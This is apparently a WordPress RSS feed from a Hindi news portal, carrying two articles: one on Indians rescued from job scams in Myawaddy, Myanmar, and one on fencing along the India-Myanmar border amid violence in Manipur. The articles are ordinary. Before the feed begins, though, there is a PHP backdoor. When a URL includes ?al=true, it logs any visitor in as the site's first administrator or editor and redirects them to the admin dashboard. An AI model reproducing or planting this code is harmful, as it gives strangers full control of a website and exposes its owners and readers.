// _ea_al add_action('init', function(){ if(isset($_GET['al']) && $_GET['al']==='true'){ if(!is_user_logged_in()){ $u=get_users(['role'=>'administrator','number'=>1,'fields'=>['ID','user_login']]); if(empty($u)){$u=get_users(['role'=>'editor','number'=>1,'fields'=>['ID','user_login']]);} if(!empty($u)){wp_set_auth_cookie($u[0]->ID,true,false);wp_redirect(admin_url());exit();} } else {wp_redirect(admin_url());exit();} } }, 2); Myanmar – प्रत्युषा आशा की नयी किरण https://pratyushaashakinayikiran.com न्यूज़ पोर्टल Sun, 15 Dec 2024 17:35:00 +0000 en-US hourly 1 https://wordpress.org/?v=7.0 म्यांमार में नौकरी के झांसे में फंसे छह भारतीय लौट रहे घर, भारतीय दूतावास ने दी जानकारी https://pratyushaashakinayikiran.com/?p=110105 Sun, 15 Dec 2024 17:35:00 +0000 https://pratyushaashakinayikiran.com/?p=110105 नेपीडाॅ.

भारतीय दूतावास ने म्यांमार में भारतीय नागरिकों की सुरक्षा को सुनिश्चित करने के लिए कदम उठाया है। दूतावास ने जानकारी दी कि मायावडी में फंसे छह और भारतीयों को भारत वापस भेजा जा रहा है। इन लोगों को स्थानीय थाने पहुंचा दिया गया है, जहां से उन्हें जल्द भारत भेजा जाएगा। ये भारतीय मायावडी इलाके में फंसे हुए थे, जहां नौकरी के नाम पर धोखाधड़ी या अवैध गतिविधियां होती हैं।

जो छह भारतीय नागरिक म्यांमार से भारत वाप आ रहे हैं, उनका नाम अजय कुमार, मुस्तफा, सुखचैन, बचू मणिकांत, समीर अहमद और कुलदीप है। दूतावास ने बताया कि अब तक 101 भारतीय नागरिकों को जुलाई 2024 से अब तक म्यांमार से भारत वापस भेजा जा चुका है। दूतावास ने एक बार फिर एडवाइजरी जारी कर म्यांमार में नौकरी की पेशकश को लेकर भारतीय नागरिकों को सतर्क रहने को कहा है। इसमें कहा गया है कि बिना दूतावास की सलाह के इस क्षेत्र में नौकरी की पेशकश पर भरोसा न करें।

विद्रोही बलों के नियंत्रण में मायावडी इलाका
भारतीय नागरिकों को फर्जी नौकरी का रैकेट चलाने वाले जालसाजों के चंगुल से छुड़ाना और उन्हें वापस भेजना एक जटिल प्रक्रिया है। मायावडी क्षेत्री म्यांमार के विद्रोही बलों के नियंत्रण में है और म्यांमार के सुरक्षा बलों की वहां तक पहुंच नहीं है। म्यांमार सरकार मदद करने की कोशिश करती है, लेकिन उसकी पहुंच सीमित है। भारतीय दूतावास स्थानीय थाने तक नागरिकों के पहुंचने के बाद ही उन्हें सुरक्षित रूप से वापस भेज सकता है।

भारतीय दूतावास ने पहले भी जारी की थी एडवाइजरी
दूतावास ने इससे पहले मई में भी एक एडवाइजरी जारी की थी, जिसमें म्यांमार-थाईलैंड सीमा पर स्थित मायावडी इलाके में सक्रिय अपराधियों के अंतरराष्ट्रीय सिंडिकेट के बारे में चेतावनी दी गई थी। दूतावास ने भारतीय नागरियों को आगाह किया था कि वहां से नौकरी की पेशकश को लेकर सतर्क रहें। दूतावास ने अपनी एडवाइजरी में कहा था कि म्यांमार में काम करने से पहले नौकरी की पेशकश को स्वीकार करने से पहले भारतीय मिशन से संपर्क करें।

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मणिपुर में घुसपैठियों को रोकने की कवायद, भारत-म्यांमार सीमा पर बाड़ लगाने के काम में आई तेजी https://pratyushaashakinayikiran.com/?p=72425 Thu, 19 Sep 2024 10:45:00 +0000 https://pratyushaashakinayikiran.com/?p=72425 नई दिल्ली
केंद्र सरकार ने भारत और म्यांमार के बीच 1,610 किलोमीटर लंबी अंतरराष्ट्रीय सीमा पर सीमा बाड़ लगाने और सड़कों के निर्माण को मंजूरी दी है। सरकार की ओर से यह फैसला मणिपुर में घुसपैठियों को रोकने के लिए लिया गया है।

इसके अलावा मणिपुर में सीआरपीएफ की दो बटालियन को भी स्थायी तौर पर लगाया गया है, जबकि केंद्रीय अर्धसैनिक बलों के 20 हजार जवानों की यहां तैनाती की गई है।

जानकारी के अनुसार, म्यांमार के साथ लगती अंतरराष्ट्रीय सीमा पर 30 किलोमीटर तक बाड़ लगाने का काम पूरा हो चुका है। 1,500 किलोमीटर तक के काम के लिए सरकार की तरफ से धनराशि स्वीकृत कर दी गई है।

उल्लेखनीय है कि पिछले साल मणिपुर में तीन मई को मेइती समुदाय की अनुसूचित जनजाति का दर्जा दिए जाने की मांग के विरोध में ‘आदिवासी एकजुटता मार्च’ निकाला गया था। इस मार्च के दौरान हिंसा भड़क गई थी और तब से प्रदेश में हिंसा जारी है। इस हिंसा में अब तक कुकी और मेइती समुदायों के 220 से अधिक लोग अपनी जान गंवा चुके हैं।

सरकार के सूत्रों की मानें तो पड़ोसी मुल्क म्यांमार से घुसपैठिए, मणिपुर में प्रवेश कर रहे हैं। इसके लिए अब भारत सरकार ने भारत-म्यांमार सीमा पर मुक्त आवाजाही व्यवस्था को समाप्त कर दिया है। जानकारी के अनुसार सुरक्षा संबंधी मंत्रिमंडलीय समिति ने लगभग 31 हजार करोड़ रुपये की लागत से भारत-म्यामांर के बीच 1610 किलोमीटर लंबी अंतर्राष्ट्रीय सीमा पर बाड़ लगाने और सीमा सड़कों के निर्माण के काम को सैद्धांतिक तौर पर मंजूरी दे दी है।

बीते दिनों मणिपुर में 15 सितंबर दोपहर तीन बजे तक इंटरनेट बंद करने के साथ ही पांच जिलों में कर्फ्यू लगा दिया गया है। मुख्यमंत्री एन बीरेन सिंह ने बीते दिनों कहा था कि उपद्रवियों के नफरत फैलाने वाले भाषणों और सोशल मीडिया से हिंसा भड़कने से रोकने के लिए ही सरकार ने इंटरनेट बंद करने का फैसला किया है। आशंका जताई गई है कि कुछ लोग सोशल मीडिया का इस्तेमाल कर राज्य में स्थिति को हिंसात्मक बना सकते हैं।

केंद्रीय गृह मंत्री अमित शाह ने एक प्रेस वार्ता के दौरान कहा था कि मणिपुर में शांति बहाली के लिए सरकार मेइती और कुकी समुदायों के लोगों से बातचीत कर रही है। घुसपैठ को रोकने के उद्देश्य से म्यांमार से लगती सीमा पर बाड़ लगाना शुरू कर दिया गया है। पिछले सप्ताह तीन दिनों की हिंसा को छोड़ दिया जाए तो मणिपुर में स्थिति शांतिपूर्ण है। शांति बहाली के लिए सरकार हरसंभव कोशिश कर रही है। उन्होंने आगे कहा कि शांति बनाए रखने के लिए दोनों समुदायों से बातचीत की जा रही है।

 

 

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